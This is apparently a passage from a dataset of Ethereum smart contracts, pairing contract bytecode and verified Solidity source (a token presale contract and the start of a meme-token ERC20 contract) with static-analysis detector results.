f10610ae057610100808354040283529160200191610b0b565b820191906000526020600020905b815481529060010190602001808311610aee57829003601f168201915b5050505050905090565b600d5460009060c860020a900460ff1615610b2f57600080fd5b600d5460a060020a900460ff161515610b4757600080fd5b600160a060020a03338116600081815260096020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600d5460d860020a900460ff1681565b600d547501000000000000000000000000000000000000000000900460ff1681565b60015433600160a060020a03908116911614610bfd57600080fd5b600d805491151575010000000000000000000000000000000000000000000275ff00000000000000000000000000000000000000000019909216919091179055565b60055490565b6000610c4f612e1f565b600d5460009060c860020a900460ff1615610c6957600080fd5b600d5460a060020a900460ff161515610c8157600080fd5b610c8a86612cf4565b1515610c9557600080fd5b610c9e85612cf4565b1515610ca957600080fd5b600160a060020a0385161515610cbe57600080fd5b600160a060020a038616600090815260066020526040902054841115610ce357600080fd5b600160a060020a0380871660009081526009602090815260408083203390941683529290522054841115610d1657600080fd5b600160a060020a038616600090815260066020526040902054610d3f908563ffffffff612d3a16565b600160a060020a038088166000908152600660205260408082209390935590871681522054610d74908563ffffffff612d4c16565b600160a060020a03808716600090815260066020908152604080832094909455898316825260098152838220339093168252919091522054610dbc908563ffffffff612d3a16565b600160a060020a0380881660009081526009602090815260408083203390941683529290522055610dec85612d62565b15610ed4575083600160a060020a03811663c0ee0b8a3386856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e72578082015183820152602001610e5a565b50505050905090810190601f168015610e9f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610ebf57600080fd5b6102c65a03f11515610ed057600080fd5b5050505b816040518082805190602001908083835b60208310610f045780518252601f199092019160209182019101610ee5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031686600160a060020a0316600080516020612e498339815191528660405190815260200160405180910390a350600195945050505050565b6001546000908190819033600160a060020a03908116911614610fda57600080fd5b600d5460c860020a900460ff1615610ff157600080fd5b60008551118015611006575061100633612cf4565b151561101157600080fd5b6110238551859063ffffffff612d6a16565b600160a060020a0333166000908152600660205260409020549092508290101561104c57600080fd5b5060005b845181101561114c5761107785828151811061106857fe5b90602001906020020151612cf4565b151561108257600080fd5b6110c6846006600088858151811061109657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff612d4c16565b600660008784815181106110d657fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061110657fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612e498339815191528660405190815260200160405180910390a3600101611050565b600160a060020a033316600090815260066020526040902054611175908363ffffffff612d3a16565b600160a060020a0333166000908152600660205260409020557f814d1c01dd9d41d8814a098865d02ec577732a960a0c116bc8181cade7c4004585518360405191825260208201526040908101905180910390a1506001949350505050565b600d547801000000000000000000000000000000000000000000000000900460ff1681565b60045460ff1690565b60015460009033600160a060020a0390811691161461122057600080fd5b600d5477010000000000000000000000000000000000000000000000900460ff161561124b57600080fd5b600d5460c860020a900460ff161561126257600080fd5b600554611275908363ffffffff612d4c16565b600555600160a060020a0383166000908152600660205260409020546112a1908363ffffffff612d4c16565b600160a060020a0384166000818152600660205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020612e498339815191528460405190815260200160405180910390a350600192915050565b600d5460009060c860020a900460ff161561134357600080fd5b6000821161135057600080fd5b5033600160a060020a0381166000908152600660205260409020546113759083612d3a565b600160a060020a0382166000908152600660205260409020556005546113a1908363ffffffff612d3a16565b600555600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600d5460c860020a900460ff16156113fc57600080fd5b600d5460d060020a900460ff16151561141457600080fd5b600f54600160a060020a0316151561142b57600080fd5b80151561143757600080fd5b600160a060020a03331660009081526006602052604090205481111561145c57600080fd5b600160a060020a033316600090815260066020526040902054611485908263ffffffff612d3a16565b600160a060020a0333166000908152600660205260409020556005546114b1908263ffffffff612d3a16565b6005556010546114c7908263ffffffff612d4c16565b601055600f54600160a060020a031663753e88e5338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561152057600080fd5b6102c65a03f1151561153157600080fd5b5050600f54600160a060020a03908116915033167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac8360405190815260200160405180910390a350565b60015433600160a060020a0390811691161461159657600080fd5b600d805491151560a060020a0274ff000000000000000000000000000000000000000019909216919091179055565b6001546000908190819033600160a060020a039081169116146115e757600080fd5b600d5460c860020a900460ff16156115fe57600080fd5b60008551118015611610575083518551145b8015611620575061162033612cf4565b151561162b57600080fd5b5060009050805b84518110156116ce57600084828151811061164957fe5b9060200190602002015111801561167d575084818151811061166757fe5b90602001906020020151600160a060020a031615155b8015611693575061169385828151811061106857fe5b151561169e57600080fd5b6116c48482815181106116ad57fe5b90602001906020020151839063ffffffff612d4c16565b9150600101611632565b600160a060020a033316600090815260066020526040902054829010156116f457600080fd5b5060005b845181101561114c5761172a84828151811061171057fe5b906020019060200201516006600088858151811061109657fe5b6006600087848151811061173a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061176a57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612e498339815191528684815181106117a257fe5b9060200190602002015160405190815260200160405180910390a36001016116f8565b600d5460a060020a900460ff1681565b600d5460c860020a900460ff1681565b600f54600160a060020a031681565b600e54600160a060020a031681565b600a6020526000908152604090205460ff1681565b600d54600090819060c860020a900460ff161561183457600080fd5b600d5460a060020a900460ff16151561184c57600080fd5b50600160a060020a03338116600090815260096020908152604080832093871683529290522054808311156118a857600160a060020a0333811660009081526009602090815260408083209388168352929052908120556118df565b6118b8818463ffffffff612d3a16565b600160a060020a033381166000908152600960209081526040808320938916835292905220555b600160a060020a0333811660008181526009602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b60015433600160a060020a0390811691161461196257600080fd5b600d805491151560d060020a027aff000000000000000000000000000000000000000000000000000019909216919091179055565b60015433600160a060020a039081169116146119b257600080fd5b600d80549115157601000000000000000000000000000000000000000000000276ff0000000000000000000000000000000000000000000019909216919091179055565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a03908116911614611a2c57600080fd5b600d805491151560c860020a0279ff0000000000000000000000000000000000000000000000000019909216919091179055565b600d54760100000000000000000000000000000000000000000000900460ff1681565b60015460009033600160a060020a03908116911614611aa157600080fd5b600154600160a060020a03838116911614611abb57600080fd5b600d805477ff00000000000000000000000000000000000000000000001916770100000000000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1506001919050565b60086020526000908152604090205460ff1681565b600154600160a060020a031681565b611b56612e1f565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0b5780601f10610ae057610100808354040283529160200191610b0b565b60015433600160a060020a03908116911614611bdc57600080fd5b600160a060020a0381161515611bf157600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000611c66612e1f565b600d5460009060c860020a900460ff1615611c8057600080fd5b611c8985612d95565b1515611c9457600080fd5b600160a060020a03331660009081526006602052604090205484901015611cba57600080fd5b600160a060020a033316600090815260066020526040902054611ce3908563ffffffff612d3a16565b600160a060020a033381166000908152600660205260408082209390935590871681522054611d18908563ffffffff612d4c16565b600160a060020a038616600090815260066020526040902055611d3a85612d62565b15611e22575083600160a060020a03811663c0ee0b8a3386856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611dc0578082015183820152602001611da8565b50505050905090810190601f168015611ded5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611e0d57600080fd5b6102c65a03f11515611e1e57600080fd5b5050505b816040518082805190602001908083835b60208310611e525780518252601f199092019160209182019101611e33565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020612e498339815191528660405190815260200160405180910390a3506001949350505050565b600d54600090819060c860020a900460ff1615611f2157600080fd5b600d5460a060020a900460ff161515611f3957600080fd5b611f4286612cf4565b1515611f4d57600080fd5b611f5685612cf4565b1515611f6157600080fd5b600160a060020a0385161515611f7657600080fd5b600160a060020a038616600090815260066020526040902054841115611f9b57600080fd5b600160a060020a0380871660009081526009602090815260408083203390941683529290522054841115611fce57600080fd5b600160a060020a038616600090815260066020526040902054611ff7908563ffffffff612d3a16565b600160a060020a03808816600090815260066020526040808220939093559087168152205461202c908563ffffffff612d4c16565b600160a060020a03808716600090815260066020908152604080832094909455898316825260098152838220339093168252919091522054612074908563ffffffff612d3a16565b600160a060020a03808816600090815260096020908152604080832033909416835292905220556120a485612d62565b1561218c575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561212a578082015183820152602001612112565b50505050905090810190601f1680156121575780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217757600080fd5b6102c65a03f1151561218857600080fd5b5050505b8260405180828051906020019080838360208310610f045780518252601f199092019160209182019101610ee5565b60015460009033600160a060020a039081169116146121d957600080fd5b600d5460c860020a900460ff16156121f057600080fd5b6000821180156122195750600160a060020a038316600090815260066020526040902054829010155b151561222457600080fd5b600160a060020a033316600090815260076020526040902054421180156122625750600160a060020a03831660009081526007602052604090205442115b151561226d57600080fd5b600160a060020a0383166000908152600a602052604090205460ff16151560011480156122b95750600d547801000000000000000000000000000000000000000000000000900460ff16155b15156122c457600080fd5b600160a060020a0383166000908152600660205260409020546122ed908363ffffffff612d3a16565b600160a060020a03808516600090815260066020526040808220939093553390911681522054612323908363ffffffff612d4c16565b600160a060020a0333811660008181526006602052604090819020939093559190851690600080516020612e498339815191529085905190815260200160405180910390a350600192915050565b600d54600090819060c860020a900460ff161561238d57600080fd5b600d547501000000000000000000000000000000000000000000900460ff1615156123b757600080fd5b6123c085612d95565b15156123cb57600080fd5b600160a060020a033316600090815260066020526040902054849010156123f157600080fd5b600160a060020a03331660009081526006602052604090205461241a908563ffffffff612d3a16565b600160a060020a03338116600090815260066020526040808220939093559087168152205461244f908563ffffffff612d4c16565b600160a060020a03861660009081526006602052604090205561247185612d62565b15612559575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156124f75780820151838201526020016124df565b50505050905090810190601f1680156125245780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561254457600080fd5b6102c65a03f1151561255557600080fd5b5050505b8260405180828051906020019080838360208310611e525780518252601f199092019160209182019101611e33565b60015460009033600160a060020a039081169116146125a657600080fd5b60008351116125b457600080fd5b5060005b825181101561268a578281815181106125cd57fe5b90602001906020020151600160a060020a031615156125eb57600080fd5b81600860008584815181106125fc57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061263a57fe5b90602001906020020151600160a060020a03167fa33e6b076d391e96626483b30e365719f79f1d6594aff6587649ffd6c82ed7fa83604051901515815260200160405180910390a26001016125b8565b505050565b60105481565b60015433600160a060020a039081169116146126b057600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b600d5460009060c860020a900460ff16156126f557600080fd5b600d5460a060020a900460ff16151561270d57600080fd5b600160a060020a03338116600090815260096020908152604080832093871683529290522054612743908363ffffffff612d4c16565b600160a060020a0333811660008181526009602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03811615156127c457600080fd5b600d5460d860020a900460ff16156127db57600080fd5b600e5433600160a060020a039081169116146127f657600080fd5b600f8054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff19909216919091179055600d80547bff000000000000000000000000000000000000000000000000000000191660d860020a179055565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60015460009033600160a060020a0390811691161461289a57600080fd5b60008351116128a857600080fd5b5060005b825181101561268a5781600760008584815181106128c657fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054106128f457600080fd5b816007600085848151811061290557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205582818151811061293557fe5b90602001906020020151600160a060020a03167ff7c3865a2047e2fc614fff3af48eef519dfd5243847cbefd615b3a150a9db5b08360405190815260200160405180910390a26001016128ac565b60015460009033600160a060020a039081169116146129a157600080fd5b600154600160a060020a038381169116146129bb57600080fd5b50600d805478ff000000000000000000000000000000000000000000000000191678010000000000000000000000000000000000000000000000001790556001919050565b60076020526000908152604090205481565b60015433600160a060020a03908116911614612a2d57600080fd5b600d805491151560d860020a027bff00000000000000000000000000000000000000000000000000000019909216919091179055565b600d5460d060020a900460ff1681565b600d5460009060c860020a900460ff1615612a8d57600080fd5b600d54760100000000000000000000000000000000000000000000900460ff161515612ab857600080fd5b612ac185612d95565b1515612acc57600080fd5b600160a060020a03331660009081526006602052604090205484901015612af257600080fd5b600160a060020a033316600090815260066020526040902054612b1b908563ffffffff612d3a16565b600160a060020a033381166000908152600660205260408082209390935590871681522054612b50908563ffffffff612d4c16565b600160a060020a038616600090815260066020526040902055612b7285612d62565b156125595784600160a060020a03166000836040518082805190602001908083835b60208310612bb35780518252601f199092019160209182019101612b94565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015612c44578082015183820152602001612c2c565b50505050905090810190601f168015612c715780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561255957fe5b600160a060020a0381161515612caa57600080fd5b600e5433600160a060020a03908116911614612cc557600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03811660009081526007602052604081205442118015612d345750600160a060020a03821660009081526008602052604090205460ff16155b92915050565b600082821115612d4657fe5b50900390565b600082820183811015612d5b57fe5b9392505050565b6000903b1190565b600080831515612d7d5760009150611940565b50828202828482811515612d8d57fe5b0414612d5b57fe5b600160a060020a03331660009081526007602052604081205442118015612dd35750600160a060020a03821660009081526007602052604090205442115b8015612df85750600160a060020a03331660009081526008602052604090205460ff16155b8015612d34575050600160a060020a031660009081526008602052604090205460ff161590565b60206040519081016040526000815290565b6000808284811515612e3f57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820247d7fabe283e3ba8eb40a45cfd64b83cbc9a6de17eca2a7e9a277d8767e20c50029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
4,850
0x3e2abd18f434bedecd775ba667fbda17a28ddeec
/** *Submitted for verification at Etherscan.io on 2020-08-27 */ pragma solidity =0.6.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Vote_Presale_1 { using SafeMath for uint256; bool seeded; address public admin; address constant public VOTE_ADDRESS = 0xdFb3051e710118BAfc4b3Bb2034728f73C1E62aB; address constant public WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 constant public VOTE_MAG = 1e9; uint256 constant public ETH_MAG = 1e18; uint256 constant public SEED_AMOUNT = 3800000 * VOTE_MAG; uint256 constant public RATE = 8000; modifier onlyAdmin() { require(admin == msg.sender); _; } modifier isSeeded() { require(seeded == true); _; } constructor() public { admin = msg.sender; } function seed() external onlyAdmin { TransferHelper.safeTransferFrom(VOTE_ADDRESS, msg.sender, address(this), SEED_AMOUNT); seeded = true; } function exchangeEthForTokens(uint256 _amount) external { uint256 ethAmount_ = _amount; uint256 voteBalance_ = IERC20(VOTE_ADDRESS).balanceOf(address(this)); uint256 voteAmount_ = (ethAmount_.mul(RATE)).div(VOTE_MAG); require(voteBalance_ >= voteAmount_, "PRESALE_1 ENDED"); TransferHelper.safeTransferFrom(WETH_ADDRESS, msg.sender, address(this), _amount); TransferHelper.safeTransfer(VOTE_ADDRESS, msg.sender, voteAmount_); } function withdraw() external isSeeded onlyAdmin { uint256 ethBalance_ = IERC20(WETH_ADDRESS).balanceOf(address(this)); TransferHelper.safeTransfer(WETH_ADDRESS, msg.sender, ethBalance_); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80633f7df3ff116100665780633f7df3ff14610110578063664e9704146101185780637d94792a14610120578063f1d156d714610128578063f851a440146101305761009e565b8063040141e5146100a35780630548fb2f146100c75780630989d71d146100e15780630a64f94d146101005780633ccfd60b14610108575b600080fd5b6100ab610138565b604080516001600160a01b039092168252519081900360200190f35b6100cf610150565b60408051918252519081900360200190f35b6100fe600480360360208110156100f757600080fd5b503561015b565b005b6100cf610295565b6100fe61029d565b6100ab610372565b6100cf61038a565b6100fe610390565b6100cf6103e2565b6100ab6103ee565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b660d80147225800081565b604080516370a0823160e01b81523060048201529051829160009173dfb3051e710118bafc4b3bb2034728f73c1e62ab916370a08231916024808301926020929190829003018186803b1580156101b157600080fd5b505afa1580156101c5573d6000803e3d6000fd5b505050506040513d60208110156101db57600080fd5b505190506000610207633b9aca006101fb85611f4063ffffffff61040216565b9063ffffffff61046416565b905080821015610250576040805162461bcd60e51b815260206004820152600f60248201526e14149154d0531157cc481153911151608a1b604482015290519081900360640190fd5b61027073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23330876104a6565b61028f73dfb3051e710118bafc4b3bb2034728f73c1e62ab3383610603565b50505050565b633b9aca0081565b60005460ff1615156001146102b157600080fd5b60005461010090046001600160a01b031633146102cd57600080fd5b604080516370a0823160e01b8152306004820152905160009173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2916370a0823191602480820192602092909190829003018186803b15801561032257600080fd5b505afa158015610336573d6000803e3d6000fd5b505050506040513d602081101561034c57600080fd5b5051905061036f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23383610603565b50565b73dfb3051e710118bafc4b3bb2034728f73c1e62ab81565b611f4081565b60005461010090046001600160a01b031633146103ac57600080fd5b6103d373dfb3051e710118bafc4b3bb2034728f73c1e62ab3330660d8014722580006104a6565b6000805460ff19166001179055565b670de0b6b3a764000081565b60005461010090046001600160a01b031681565b6000826104115750600061045e565b8282028284828161041e57fe5b041461045b5760405162461bcd60e51b81526004018080602001828103825260218152602001806108106021913960400191505060405180910390fd5b90505b92915050565b600061045b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061076d565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b6020831061052b5780518252601f19909201916020918201910161050c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461058d576040519150601f19603f3d011682016040523d82523d6000602084013e610592565b606091505b50915091508180156105c05750805115806105c057508080602001905160208110156105bd57600080fd5b50515b6105fb5760405162461bcd60e51b81526004018080602001828103825260248152602001806108316024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106106805780518252601f199092019160209182019101610661565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146106e2576040519150601f19603f3d011682016040523d82523d6000602084013e6106e7565b606091505b5091509150818015610715575080511580610715575080806020019051602081101561071257600080fd5b50515b610766576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b600081836107f95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107be5781810151838201526020016107a6565b50505050905090810190601f1680156107eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161080557fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220362cda1a58bbad888b3a8170f8aa1f0325a51aa1200c33527056ad05c075e35964736f6c63430006060033
{"success": true, "error": null, "results": {}}
4,851
0x2a94d1b4b7e9b6b438c9adac052d66e53e26513c
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ /** *SPDX-License-Identifier: Unlicensed *Cult Elon Organisation *https://t.me/CultElonOrganisation *https://cultelon.org */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CEO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cult Elon Organisation"; string private constant _symbol = "CEO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) 